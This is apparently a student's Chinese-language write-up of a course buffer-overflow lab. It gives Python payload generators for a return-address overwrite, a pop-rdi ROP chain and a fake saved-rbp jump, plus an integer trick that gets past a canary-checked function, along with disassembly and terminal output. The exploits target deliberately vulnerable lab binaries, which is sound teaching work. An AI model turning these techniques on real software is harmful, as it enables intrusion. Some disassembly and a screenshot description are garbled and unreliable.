

栈溢出攻击实验

题目解决思路

Problem 1:

- **分析：**先观察main部分，前面都是一些打印什么的，主要的攻击的部分是func函数，下面重点分析func函数。func函数先分配了0x20（32字节）的栈区域来存放内容，缓冲区buffer是从rbp-8开始的，保存的旧rbp存在rbp处，返回地址在rbp+8，我们的目的是把返回地址改到可以输出想要结果的部分，经过检查，应该是func1函数里面。那么我们的payload只需要足够长，把返回地址修改了即可，先填入16字节的内容，然后加上func1的地址就是最终的payload。

- **解决方案：**

```
import struct

padding = b'A' * 16

# 目标函数 func1 的地址是 0x401216
target_addr = struct.pack('<Q', 0x401216)

payload = padding + target_addr

with open('ans1.txt', 'wb') as f:
    f.write(payload)
```

- **结果：**

```

problem1.asm U
158 00000000004011e0 <_do_global_dtors_aux>:
174 0000000000401210 <frame_dummy>:
175 401210: f3 0f 1e fa endbr64
176 401214: eb 8a jmp 4011a0 <register_tm_clones>
177
178 0000000000401216 <func1>:
179 401216: f3 0f 1e fa endbr64
180 40121a: 55 push %rbp
181 40121b: 48 89 e5 mov %rsp,%rbp
182 40121c: bf 04 20 40 00 mov $0x402004,%edi
183 401223: e8 98 fe ff ff call 4010c8 <puts@plt>
184 401228: bf 00 00 00 00 mov $0x0,%edi
185 40122d: e8 ee fe ff ff call 401120 <exit@plt>
186
187 0000000000401232 <func>:
188 401232: f3 0f 1e fa endbr64
189 401236: 55 push %rbp
190 401237: 48 89 e5 mov %rsp,%rbp
191 40123a: 48 83 ec 20 sub $0x20,%sp
192 40123e: 48 89 7d e8 mov %rdi,-0x18(%rbp)
193 401242: 48 8b 55 e8 mov -0x18(%rbp),%rdx
194 401246: 48 8d 45 f8 lea -0x8(%rbp),%rax
195 40124a: 48 89 d6 mov %rdx,%rsi
196 40124d: 48 89 c7 mov %rax,%rdi
197 401250: e8 5b fe ff ff call 4010b0 <strcpy@plt>
198 401255: 90 nop
199 401256: c9 leave
200 401257: c3 ret
201
202 0000000000401258 <main>:

```

问题 输出 调试控制 终端 端口

● yeguoyoujuzhi@LAPTOP-7W55JSPC:~/attack-lab-yeguoyoujuzhi-afk\$./problem1 ansi.txt
Do you like ICS?
Yes! I like ICS!
● yeguoyoujuzhi@LAPTOP-7W55JSPC:~/attack-lab-yeguoyoujuzhi-afk\$

Problem 2:

- 分析：**这一个问题与上一个题类似，也是要从func函数里面调用func2，但是这题的func2里面多加了一个检查，需要rdi的值符合条件（等于0x3f8）才能输出我们要的结果。
在problem2的文件里面找了一下，发现了pop_rdi这个函数，我们把这个函数内部的pop指令的地址记下来，利用它把我们需要的值0x3f8传给rdi，然后我们修改函数返回地址到func2，这样调用func2，rdi就满足条件，攻击成功。所以payload应该也是先用16字节进行填充，然后写入pop %rdi命令的地址并传入参数，接着加上func2的地址。
- 这里补充一下，这个参数能被pop函数使用是因为当 func 函数执行 ret 时，栈顶的 pop %rdi 地址被弹出并执行，此时 %rsp 指针自动上移 8 字节，指向了我们填入的 0x3f8。紧接着执行 pop %rdi 指令，它会将当前栈顶的数据（即 0x3f8）弹出至 %rdi 寄存器，完成了参数传递。之后 %rsp 继续上移指向 func2 的地址，通过后续的 ret 指令跳转至 func2。这个点也是我觉得这个攻击最巧妙的地方。

• 解决方案：

```

import struct

padding = b'A' * 16
pop_addr = 0x4012c7      # pop %rdi; ret的地址
value = 0x3f8            # 要检查的值
func2_addr = 0x401216      # 目标函数

payload = padding
payload += struct.pack('<Q', pop_addr)
payload += struct.pack('<Q', value)
payload += struct.pack('<Q', func2_addr)

with open('ans2.txt', 'wb') as f:
    f.write(payload)

```

• 结果：

The screenshot shows the Qiling debugger interface with the assembly code for `problem2.asm`. The assembly code includes a main function that calls `func2`, which then calls `func1`. The payload is injected at the start of `func2`. The debugger interface shows registers, memory dump, and stack frames.

Problem 3:

- 分析：这题前面的分析也和前面类似，注意这里的缓冲区分配变大了，buffer是从-0x20（%rbp）开始的，这里我们也是要让func函数在返回时调用func1。func1前面部分有参数检查，我们这里直接

不管了()，返回到40122b的位置，这部分之后的代码是打印结果的。但是这题有一个问题在于，func1函数的写入利用了-0x40(%rbp)这一参数，但是在func函数返回后，rbp的值被修改了，导致这个地址很可能是不合法的，会出现段错误的问题，所以我们要找一个可读写的地址覆盖rbp的值，这里我们找的是bss段，在link部分我们知道这是一块可读写并且比较安全的区域，我们从0x400000的起始地址开始找一下（这里我找的方式比较暴力），就是从0x405000开始往下找，大概随便改试了10几次，最后试到0x403600这个地址不会发生溢出，就选他了。所以最后的payload应该是由32个占位符加上新的rbp值以及func1的返回地址构成的。

- **解决方案：**

```
import struct

padding = b'A' * 32

# 因为 func 结尾有 leave (pop rbp)，这 8 字节会被弹入 %rbp 寄存器
# func1 需要往 rbp-0x40 写数据，所以这里必须填一个可写的安全地址
fake_rbp = struct.pack('<Q', 0x403600)

# 跳过 func1 开头的参数检查，直接跳转到 0x40122b (打印 Flag 的代码段)
target_addr = struct.pack('<Q', 0x40122b)

payload = padding + fake_rbp + target_addr

with open('ans3.txt', 'wb') as f:
    f.write(payload)
```

- **结果：**

```

    00000000004011e0 <__do_global_dtors_aux>:
169    401200: c3          ret
170    401201: 66 66 2e 0f 1f 84 00  data16 cs nopw %rax,%rax,1
171    401208: 00 00 00 00
172    40120c: 0f 1f 40 00    nopl  0x0(%eax)
173
174    0000000000401210 <frame_dummy>:
175    401210: f3 0f 1e fa  endbr64
176    401214: eb 8a        jmp   4011a0 <register_tm_clones>
177
178    0000000000401216 <func1>:
179    401216: f3 0f 1e fa  endbr64
180    40121a: 55          push  %rbp
181    40121b: 48 89 e5    mov   %rsp,%rbp
182    40121e: 48 83 ec 50  sub   $0x50,%rsp
183    401222: 89 7d bc    mov   %edi,-0x44(%rbp)
184    401225: 83 7d bc 72  cmpl  $0x72,-0x44(%rbp)
185    401229: 75 57        jne   401282 <func1+0x6c>
186    40122b: 48 b8 59 6f 75 72 20  movabs $0x63756c2872756f59,%rax
187    401232: 6c 75 63
188    401235: 48 ab 6b 79 20 6e 75  movabs $0x65626d7596e20796b,%rdx
189    40123c: 6d 62 65
190    40123f: 48 89 45 c0    mov   %rax,-0x40(%rbp)
191    401243: 48 89 55 c8    mov   %rdx,-0x38(%rbp)
192    401247: 48 b8 72 20 69 73 20  movabs $0x3431312873692072,%rax
193    40124e: 31 31 34
194    401251: b0 00 00 00    mov   $0xb,%edx
195    401256: 48 89 45 d0    mov   %rax,-0x30(%rbp)
196    40125a: 48 89 55 d8    mov   %rdx,-0x28(%rbp)
197    40125e: 48 c7 45 e0 00 00 00  movq  $0xb,-0x20(%rbp)
198
199    401265: cc

```

问题 输出 调试控制 终端 端口

```

● yeguoyoujuzhi@LAPTOP-7W55JSPC:~/attack-lab-yeguoyoujuzhi-afk$ ./problem3 ./ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
● yeguoyoujuzhi@LAPTOP-7W55JSPC:~/attack-lab-yeguoyoujuzhi-afk$ 

```

WSL Ubuntu main* 0 0 △ 0 0 Git Graph 行 180, 列 46 空格: 2 UTF-8 LF {} x86 and x86_64 Assembly

Problem 4:

- 分析：**这题的func函数里面有金丝雀保护机制，金丝雀就存在rbp-8的位置，我们只要动了它，之后代码检查发现它与原来的值不一样，就会报错，所以我们这题不能简单地直接修改栈里面buffer的内容进行攻击。

不过这题仔细分析func函数就可以发现，func里面就可以实现我们想要的输出结果，func函数里面有一个检查，需要看我们的输入值经过处理后的结果是不是1，如果是1的话，我们就能成功过关。然后看了一下这个函数对输入值的处理，是一个多次循环，循环了0xffffffff次，每次循环将我们的输入值减去1，也就是说我们输入的数要减去0xffffffff个1之后为1，那我们的输入值就应该是0xffffffff也就是-1。

然后这题貌似就不用构造payload了，最重要的就是在问我要给多少原石的时候输入-1这个值，这个彩蛋还是很有意思的，我要玩原神！（bushi）

- 解决方案：**payload是填入姓名和是否喜欢ics，然后填上我们计算出的结果-1。

- 结果：**

```

    274 000000000000125d <func>:
298 13af: 48 8d 05 87 0c 00 00    lea    0x87(%rip),%rax      # 203d <_IO_stdin_used+0x3d>
299 13b6: 48 89 c7                mov    %rax,%rdi
300 13b9: e8 f2 fc ff ff        call   10b0 <func+0xad>
301 13be: eb 4a                  jmp   140a <func+0xad>
302 13c0: c7 45 ec 00 00 00    movl  $0x0,-0x14(%rbp)
303 13e7: eb 08                  jmp   13d1 <func+0x74>
304 13e9: 83 ed e8 01          subl  $0x1,-0x18(%rbp)
305 13ed: 83 45 ec 01          addl  $0x1,-0x14(%rbp)
306 13d1: 8b 45 ec              mov    -0x14(%rbp),%eax
307 13d4: 3b 45 f0              cmp    -0x10(%rbp),%eax
308 13d7: 72 f0                  jb    13c9 <func+0x6c>
309 13d9: 83 7d e8 01          cmpl  $0x1,-0x18(%rbp)
310 13dd: 75 06                  jne   13e5 <func+0x88>
311 13df: 83 7d f4 ff          cmpl  $0xffffffff,-0xc(%rbp)
312 13e3: 74 11                  je    13f6 <func+0x99>
313 13e5: 48 8d 05 6b 0c 00 00    lea    0xc6(%rip),%rax      # 2057 <_IO_stdin_used+0x57>
314 13ec: 48 89 c7              mov    %rax,%rdi
315 13ef: e8 b2 fc ff ff        call   10b0 <puts@plt>
316 13f4: eb 14                  jmp   140a <func+0xad>
317 13f6: b3 00 00 00 00        mov    %eax,%eax
318 13fb: e8 1c ff ff ff        call   131c <func1>
319 1400: bf 00 00 00 00        mov    %bx,%edi
320 1405: e8 f6 fc ff ff        call   1100 <exit@plt>
321 140a: 48 8b 45 f8          mov    -0x8(%rbp),%eax
322 140e: 64 48 2b 04 25 28 00    sub    %fs:0x28,%ax
323 1415: 00 00
324 1417: 74 05                  je    141e <func+0xc1>
325 1419: e8 b2 fc ff ff        call   10d0 <_stack_chk_fail@plt>
326 141e: c9                      leave
~~~
```

问题 输出 调试控制台 终端 端口

```

● yeguoyoujuzhi@LAPTOP-7W55JSPC:~/attack-lab-yeguoyoujuzhi-afk$ ./problem4
hi please tell me what is your name?
woyaoawayuanshen
hi! do you like ics?
yuanshengidong
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great! i will give you great scores
● yeguoyoujuzhi@LAPTOP-7W55JSPC:~/attack-lab-yeguoyoujuzhi-afk$
```

思考与总结

感觉这个lab难度还是比较合适的，比较有趣，可以让我们看到很多平时不会注意到的代码可能被攻击的地方，也为我们之后写安全的代码做了保障。但是感觉这个题量还是比较小了？（不过既然是选做的lab也还比较能理解。

参考资料

无